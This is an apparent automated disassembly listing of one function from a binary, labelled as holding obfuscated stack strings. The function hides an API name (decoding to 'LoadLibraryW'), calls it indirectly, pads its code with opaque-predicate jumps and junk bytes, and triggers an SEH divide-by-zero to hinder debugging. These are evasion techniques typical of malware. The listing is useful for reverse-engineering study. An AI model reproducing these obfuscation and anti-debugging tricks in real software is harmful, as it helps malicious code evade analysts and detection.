Function at 0x76fa0e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [reloc.KERNEL32.dll_LoadLibraryA], 1
je 0x76fa2f
jb 0x76fa25
jae 0x76fa25
push cs
mov eax, dword [reloc.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
jmp 0x76fa3b
jb 0x76fa34
jae 0x76fa34
adc esi, dword [ebx]
shr cl, 0x2a
add dword [eax], eax
add byte [edx + 3], dh
xor eax, eax
jmp 0x76fb65
jb 0x76fa40
jae 0x76fa40
pop ss
mov ecx, dword [ebp - 4]
push ecx
call fcn.0077cd15
add esp, 4
push 0xd
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.007791b2
add esp, 0xc
jb 0x76fa61
jae 0x76fa61
call 0x4e5f402b
mov byte [ebp - 0x18], 0x4d
mov byte [ebp - 0x13], 0x6a
mov byte [ebp - 0xe], 0x7a
mov byte [ebp - 0x17], 0x70
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x16], 0x62
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x10], 0x62
mov byte [ebp - 0x14], 0x4d
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xd], 0x58
mov byte [ebp - 0xc], 0
jb 0x76fa9a
jae 0x76fa9a
sub dword [edx + 0x12ce845], ecx
mov al, byte [ebp - 0x18]
sub al, 1
mov byte [ebp - 0x18], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0x14]
sub dl, 1
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
jb 0x76fb07
jae 0x76fb07
cmp dword ss:[0x766504], 0
cmp dword [0x766504], 0
je 0x76fb28
jb 0x76fb15
jae 0x76fb15
cmp dword [ebp - 0x74af17bb], ecx
or eax, 0x766504
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [0x766504]
push ecx
call fcn.0077dffa
mov dword [ebp - 8], eax
jne 0x76fb2d
je 0x76fb2d
jnp 0x76fb98
push 0xd
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.007791b2
or eax, 0x558d006a
call 0x96efe38a
add byte [eax], al
add esp, 0xc
jb 0x76fb42
jae 0x76fb42
add al, 0x83
jge 0x76fb3d
cmp dword [ebp - 8], 0
je 0x76fb59
clc
add byte [ecx + edx + 0x72], dh
add esi, dword [ebx + 1]
jb 0x76fb4d
jae 0x76fb4d
or byte [ebx - 0x17af07bb], cl
mov edi, 0x830000d1
les eax, [edx + esi*2]
add esi, dword [ebx + 1]
mov eax, dword [ebp - 8]
push eax
call fcn.0077cd15
add esp, 4
add byte [ebx + 0x37204c4], al
jb 0x76fb5e
jae 0x76fb5e
or al, 0x8b
dec ebp
or byte [ecx - 1], dl
push ebp
cld
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [0x763554]
mov dword [0x76c3e8], edx
jl 0x76fba9
jge 0x76fba9
call 0x76ac544e
add byte [ebx + 0x76bfec], ah
mov eax, dword [0x763558]
mov dword [0x76bfec], eax
jo 0x76fbb8
jno 0x76fbb8
jmp 0x76fb44
mov ecx, dword [0x76355c]
mov dword [0x76d814], ecx
jo 0x76fbc9
jno 0x76fbc9
jmp 0x76fb55
mov edx, dword [0x763560]
mov dword [0x76bff4], edx
jb 0x76fbda
jae 0x76fbda
adc esp, dword [ecx + 0x763564]
mov eax, dword [0x763564]
mov dword [0x76d810], eax
jb 0x76fbe9
jae 0x76fbe9
adc eax, 0xfc45c7
add byte [eax], al
add bl, ch
or dword [ebx - 0x3e7c03b3], ecx
add dword [ecx + 0x558bfc4d], ecx
cld
mov dword [ebp - 4], 0
jmp 0x76fbfb
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x76d810]
jae 0x76fd90
cmp dword [esp + 4], 0x1730372
mov eax, dword [0x76c3e0]
add eax, dword [0x76bfec]
mov dword [0x76c3e0], eax
cmp dword [esp + 4], 0x1770376
mov ecx, dword [0x76d818]
xor ecx, dword [0x76d814]
mov dword [0x76d818], ecx
jbe 0x76fc41
ja 0x76fc41
call 0x7736e8e6
add byte [ebx], dh
sar byte [ecx + 0xd540f], cl
mov eax, dword [0x76bfec]
xor edx, edx
mov ecx, 0xd540f
div ecx
mov eax, dword [0x76d818]
add eax, edx
mov dword [0x76d818], eax
jbe 0x76fc60
ja 0x76fc60
call 0xc45f09ef
jbe 0x76fc66
mov ecx, dword [0x76c3e8]
sub ecx, dword [0x76bff4]
mov dword [0x76c3e8], ecx
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, 5
div ecx
test edx, edx
jne 0x76fd06
cmp dword [esp + 8], 0x1740375
push 0x7832ba
cmp dword [esp + 4], 0x1770376
jbe 0x76fc9c
ja 0x76fc9c
push dword fs:[0]
push dword [0]
cmp dword [esp + 8], 0x1740375
mov dword [0x76c028], ecx
mov ecx, dword fs:[0]
xchg dword [0x76c028], ecx
cmp dword [esp + 4], 0x1730372
add al, 0x72
add esi, dword [ebx + 1]
mov dword fs:[0], esp
xor ecx, ecx
mov eax, 0x64
xor edx, edx
cmp dword [esp + 4], 0x1730372
div ecx
jne 0x76fce4
je 0x76fce4
jmp 0x76fd49
pop dword fs:[0]
add esp, 4
jbe 0x76fcf3
ja 0x76fcf3
mov cl, 0x87
or eax, 0x76c028
xchg dword [0x76c028], ecx
mov dword fs:[0], ecx
mov ecx, dword [0x76c028]
jne 0x76fd0b
je 0x76fd0b
jno 0x76fc97
mov eax, dword [ebp - 4]
inc ebp
cld
xor edx, edx
mov ecx, 6
div ecx
test edx, edx
jne 0x76fd8b
jbe 0x76fd20
ja 0x76fd20
mov ebp, 0x7832ba68
add byte [esi + 3], dh
push 0x7832ba
jbe 0x76fd2a
ja 0x76fd2a
mov edi, 0x35ff64
add byte [eax], al
add byte [ebp + 3], dh
push dword fs:[0]
xor eax, 0
jne 0x76fd36
je 0x76fd36
jnp 0x76fcc0
mov dword [0x76c028], ecx
or eax, 0x76c028
mov ecx, dword fs:[0]
xchg dword [0x76c028], ecx
cmp dword [esp + 4], 0x1770376
mov dword fs:[0], esp
xor eax, eax
jne 0x76fd5f
je 0x76fd5f
je 0x76fd2c
int3
inc eax
inc eax
nop
nop
jbe 0x76fd69
ja 0x76fd69
call fcn.007c8cd1
add byte [eax], al
add byte [ebx + 0x37c04c4], al
pop dword fs:[0]
add esp, 4
jl 0x76fd78
jge 0x76fd78
rol byte [edi + 0x76c0280d], 1
add byte [ecx + ecx*4 + 0xd], ah
add byte [eax], al
add byte [eax], al
xchg dword [0x76c028], ecx
mov dword fs:[0], ecx
mov ecx, dword [0x76c028]
jmp 0x76fbf2
cmp dword [esp + 8], 0x1740375
mov edx, dword [0x76c3e0]
add edx, dword [0x76d818]
imul edx, dword [0x76c3e8]
mov dword [0x76c3e4], edx
cmp dword [esp + 4], 0x1730372
mov eax, dword [0x76c3e0]
xor eax, dword [0x76d818]
add eax, dword [0x76c3e8]
mov dword [0x76bff0], eax
mov dword [0x76c3e8], 0
mov ecx, dword [0x76c3e8]
mov dword [0x76d818], ecx
mov edx, dword [0x76d818]
jbe 0x76fdeb